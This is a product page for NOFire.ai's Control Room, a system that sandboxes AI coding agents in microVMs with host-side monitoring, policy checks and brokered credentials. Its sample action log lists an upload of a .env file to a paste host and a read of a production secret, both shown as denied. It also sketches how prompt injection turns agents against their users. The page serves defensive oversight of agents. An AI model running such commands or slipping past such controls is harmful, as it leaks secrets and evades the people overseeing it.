Skip to content
NOFire.ai

Control Room

Give agents useful access and decide what each agent can do

Run each agent in a separate microVM. See what the agent attempts from outside the sandbox, apply your policy before an action runs, and keep a record of every action.

Built on Brig, the open source microVM sandbox. Apache 2.0.

Action historyrecorded on the host · stored centrally
Agent and session
claude-code@refactor
Workload identity
spiffe://corp.example/sandbox/7f3a
Started by
m.ortiz, laptop
  1. git push origin fix/retry-budgetAllowedAccess: github.com, brokered token · Policy: eng-default, destination on the allowlist
  2. curl -T .env https://paste.exampleDeniedAccess: none · Policy: eng-default, egress default is deny
  3. kubectl apply -f checkout/configmap.yamlApprovedAccess: prod cluster, 5 minute credential · Policy: prod-writes, approved by s.kim
  4. kubectl get secret payments-db -o yamlDeniedAccess: none · Policy: prod-writes, outside the approved operation

Illustrative record. Each entry answers four questions: what was attempted, the access used, the policy that applied and the outcome. Records are written on the host, then collected centrally and exported as OpenTelemetry and OCSF.

The problem

Plan for an agent that can be tricked

A useful agent needs your code, your tools and your systems. A control that runs inside the agent can be turned off by the agent, so every control here sits outside the agent.

01

Agents run code

A coding agent runs shell commands, installs packages and starts servers. A prompt injection, a poisoned tool result or a bad dependency is enough to turn that against you.

02

Agents hold real credentials

A token in the agent's environment works for whoever controls the agent. Today that is often a developer's own token, with the developer's full reach.

03

Containment is not enough

A contained agent can still misuse the access the agent was given. You also need to know what the agent attempted, decide before the action runs, and keep a record the agent did not write.

One offering, four components

You decide what every agent can do.

Isolation limits what an agent can reach. Observation, identity and policy tell you what the agent attempted and decide what runs.

Each capability shows a status:ShippingPrivate betaIn design

01Built on Brig

A machine for each agent

Isolated execution and deterministic policy

Each agent gets a separate machine: a microVM with a separate kernel. You choose the files, the credentials and the network destinations the agent can reach, so a tool or service works only at an address you allow. The policy runs on the host, where the agent cannot edit the policy.

  • One microVM per agent, on macOS and LinuxShipping
  • One project mounted. No keychain, SSH agent or other host directoryShipping
  • Egress policy by host and CIDR, enforced on macOS with the hvi backendShipping
  • A run does not start if the backend cannot enforce the policyShipping
  • An admin policy ceiling that users cannot loosenPrivate beta
02Outside the guest

See what every agent did

Independent observation, identity and action history

You get a record of what each agent did: network, disk and file operations. A collector writes the record from the host, outside the sandbox, so the agent cannot edit the record and you do not depend on the account the agent gives. On supported runtimes the collector reads the microVM from outside (VM introspection). Each record names the agent, the session, the workload and the user who started the session. Records from every laptop, host and cluster are collected in one place and exported as OpenTelemetry and OCSF.

  • What did the agent attempt?
  • What access did the agent use?
  • Which policy applied?
  • What was allowed, denied or approved?
  • Host-side collector for network, disk and file operationsPrivate beta
  • One central record store across laptops, hosts and clustersPrivate beta
  • Export as OpenTelemetry and OCSF, to your SIEMPrivate beta
  • A SPIFFE identity per sandbox, issued by your trust domainIn design
  • Signed, hash-chained recordsIn design
03Before execution

You decide before an action runs

Centralized policy and just-in-time enforcement

You set policy for every team and environment in one place. What an agent attempts is translated into an action a reviewer recognises, such as a write to the production cluster, and checked against your policy before the action runs. A classifier interprets the action. Fixed controls on the host enforce the decision: the egress gateway, the credential broker, and pause or stop.

  • Pause a running sandbox from the hostPrivate beta
  • Credential broker: the agent holds a session token, the host holds the real credentialPrivate beta
  • Scoped, short-lived credentials from Vault, 1Password or AWS STSIn design
  • Signed policy bundles for the fleetPrivate beta
  • Approval before a held action runsPrivate beta
04Laptops, hosts, clusters

Runs where your team works

Execution across your environments

The sandbox works the same way on a developer laptop, a Linux host and a cluster, so your policy means the same thing in each place. Developers stay with the same agent and terminal. The sandbox needs hardware virtualization and no other special hardware.

  • macOS 15 or newer on Apple siliconShipping
  • Linux on x86-64 and arm64 with KVM, node-wide or rootlessShipping
  • Kubernetes pods as microVMs through the urunc runtime classShipping
  • Egress enforcement on every backendPrivate beta

Architecture

Each agent runs on a separate machine, and the controls stay on the host

Three jobs run on the host: observe, decide and enforce. Only the last one can stop an action.

Guest · microVM, own kernel

AgentClaude Code, Codex, or your own
Toolsgit, shell, package managers, MCP clients

Holds one project and a session token. No real credential, no policy and no observer live in here, so the agent has nothing to switch off.

VM boundaryattempted action

Host · outside the agent's control

Your systems

ObserveWatches and records. Does not stop anything.

Host-side observerPrivate betaNetwork, disk and file operations, read from outside the guest. The attempt is on record before anything decides.

DecideNames what the agent is trying to do, then applies your policy.

ClassifierPrivate betaInterprets the operation: "write to prod cluster"
PolicyPrivate betaYour policy maps the action to one result
AllowedNeeds approvalDenied
approval
ApproverThe owner of the system the action changes. Sees the held action, then approves or declines.

EnforceThis is where an action stops or goes through.

Egress gatewayShipping
  • Blocked: Destination not allowed: the connection stops here
  • Authorized: Allowed destination: the connection goes through
Credential brokerPrivate beta
  • Blocked: No valid session token: no credential
  • Authorized: Authorized: a scoped, short-lived credential is added on the host
Pause or stopPrivate betaFreeze the microVM, cut the microVM network or end the run while a decision is pending
authorized only
APIs, git hosts, cloudReached only through the gateway and the broker

RecordOne record per action, written after enforcement.

Central action recordPrivate betaThe attempt, the policy, the approval, the credential and the outcome. Every sandbox, one store, with the agent, session and user on each entry.
OTel, OCSF
Your SIEMStandard events, and evidence that does not come from the agent
Observation is evidence.The attempt is on record before any decision, and the outcome is added after enforcement. Watching an action does not stop the action.The decision is deterministic.A classifier names the action. Your policy then picks allowed, needs approval or denied.Enforcement is in the path.Traffic and credentials pass through the gateway and the broker, so a denied action has no route out.

An example

What happens when a sandboxed agent asks to change production

One operation, start to finish. The approval and brokering steps are in Private beta.

  1. The agent attempts the change guest

    An agent working a ticket edits a ConfigMap and applies the change to the production cluster from inside the sandbox.

    kubectl apply -f checkout/configmap.yaml # context: prod-eu
  2. The host observes the attempt observe

    The connection to the cluster API leaves the microVM through the host. The observer records the attempt, and the operation is named in terms a reviewer recognises.

    action: kubernetes.write target: prod-eu / checkout / configmap sandbox: spiffe://corp.example/sandbox/7f3a started by: m.ortiz
  3. Policy requires approval decide

    The prod-writes policy holds every write to a production cluster. The sandbox is paused. The agent holds no production credential, so the agent has nothing to retry with.

  4. Access is scoped to the operation enforce

    The service owner approves. The broker issues a credential for one namespace and one verb, valid for five minutes, and adds the credential on the host. The agent is never handed the real credential.

    credential: patch configmaps in checkout expires: 5 min approved by: s.kim
  5. The outcome is recorded record

    The record links the attempt, the policy, the approval, the credential and the result to one sandbox identity and one user. The record is written on the host, stored centrally with the records of every other sandbox, and exported to your SIEM as OpenTelemetry and OCSF events. A second command outside the approved operation is denied and recorded the same way.

Identity

Each agent signs in with a workload identity, separate from yours

Each sandbox receives a SPIFFE identity after the sandbox launch is verified. Credentials and audit records then name the workload that acted. In design

  1. 1 · Launch

    Brig boots the microVM

    Brig produces a launch receipt bound to a challenge from your issuer, so a receipt cannot be replayed.

  2. 2 · Receipt

    The receipt states what booted

    Boot spec, image provenance, isolation mode, tenant, policy digest and permitted capabilities.

  3. 3 · Issue

    Your issuer verifies the receipt

    A SPIRE agent or a compatible component mints a short-lived SVID inside the guest, under your trust domain.

  4. 4 · Use

    The sandbox acts with a separate identity

    mTLS to MCP gateways, exchange for short-lived cloud credentials, and attribution in every action record.

Your PKI, your trust domain.You bring the trust domain and the federation. There is no NOFire root CA in the chain.

Brig attests, and your issuer issues.Brig is not a certificate authority and not an authorization engine. Brig proves what was launched, and your issuer decides.

No socket passthrough.The host never mounts the host Workload API socket into the guest, so a sandbox cannot borrow the host's identity.

Open source and enterprise

Brig is free and stays free.

Brig is the foundation, and Brig works without NOFire AI. The enterprise offering is what a platform or security team needs across many developers and environments.

Brig · open source · Apache 2.0

The sandbox, for every developer

No account. Installed in one line. Shipping today.

  • One microVM per agent, with a separate kernel
  • File mounts you name, and nothing else from the host
  • Credentials resolved on the host and delivered per command
  • Egress policy by host and CIDR
  • Signed guest images, checked before boot
  • The CLI, the daemon, the macOS runtime and the VMM
NOFire AI · enterprise

Control across the fleet

Built around Brig. In private beta, with design partners. Workload identity is in design.

  • One policy set for every team, laptop and cluster
  • Host-side observation and an action history per sandbox
  • A workload identity per sandbox, from your trust domain
  • Brokered, short-lived credentials scoped to the operation
  • Allowed, needs approval or denied, decided before an action runs
  • Records centralised and exported as OpenTelemetry and OCSF, to your SIEM

Nothing in Brig moves behind a license. The NOFire AI production product is separate. NOFire AI agents investigate incidents and run the actions your policy allows, inside this same boundary. See the production product.

Deployment

The same policy on laptops, in CI and in clusters

What differs by place is who installs the sandbox and who sets the policy. The sandbox runs on standard hardware with virtualization support.

Operating systems

  • macOS
  • Linux

Where the sandbox runs

  • Developer laptops
  • GitHub Actions
  • GitLab CI
  • Jenkins
  • CircleCI
  • Buildkite
  • Kubernetes
  • OpenShift

Agent harnesses

  • Claude Code
  • Codex
  • Cursor
  • Gemini CLI
  • opencode
  • Any OCI image

Clouds

  • AWS
  • Google Cloud
  • Azure

SIEMsprivate beta

  • Splunk
  • Microsoft Sentinel
  • CrowdStrike
  • Elastic
  • OpenTelemetry
Developer workstations

macOS and Linux laptops

Runs on
macOS 15 or newer on Apple silicon. Linux on x86-64 and arm64.
Install
brew install --cask brig
Developer
Use the same agent and terminal. One command starts a sandbox on one project.
CI and internal automation

Linux hosts

Runs on
x86-64 and arm64 with KVM. cloud-hypervisor under the urunc shim.
Install
One bundle: a private containerd, the shim and the guest kernel. Node-wide, or rootless per user.
Limit
In the open source release a policy-bound run is refused on Linux instead of running open.
Production operations

Kubernetes clusters

Runs on
The urunc runtime class. Each sandbox pod boots as a microVM.
Fits
The upstream kubernetes-sigs/agent-sandbox API, which lists urunc as a backend.
Records
The host-side collector for clusters is in private beta.

What we do not claim

Each claim Brig makes has a test behind the claim. These are the limits today, stated the same way. Read the claims table.

  • With no policy attached, egress is open.
  • Not every action crosses the boundary. A read of a local file inside the sandbox leaves no record today.
  • We do not see an agent's private reasoning. We record what the agent does.
  • Records are not signed yet. Signing and hash chaining are in design, and we do not call records tamper-evident before they ship.
  • Without the broker, a token the agent holds is a bearer token. Brokering is in private beta.
  • Windows and Intel Macs are not supported.
  • Side channels and a compromised host are out of scope.

Frequently asked questions.

Do we need the NOFire AI SRE to use this?

No. Control Room works with the agents you already run: Claude Code, Codex, Gemini CLI, opencode, or your own agent in an OCI image. The NOFire AI production product is separate, and NOFire AI agents run inside the same boundary.

Does anything in Brig become paid?

No. Brig stays open source under Apache 2.0, with no account. The enterprise offering adds management, observation, identity and enforcement across a fleet. No Brig feature moves behind a license.

What ships today, and what is in private beta?

The sandbox, file and credential boundaries, and egress policy on macOS ship today in Brig. The host-side collector, fleet policy, credential brokering and approval for a held sandbox action are in private beta, and we build them with design partners. Per-sandbox SPIFFE identity and signed records are in design.

Is observation the same as enforcement?

No. Observation records what a sandbox did, from the host. Enforcement happens where traffic and credentials pass: the egress gateway, the credential broker, and pause or stop. Monitoring alone blocks nothing.

Can the agent turn the controls off?

The controls run on the host, outside the microVM, so the agent has no process to stop and no file to edit. We do not claim a boundary that can never be bypassed. Side channels and a compromised host are out of scope.

Does Control Room need special hardware?

No. The sandbox needs hardware virtualization: Apple silicon on macOS, KVM on Linux. We have not published boot-time benchmarks yet.

Put AI agents to work on production, safely.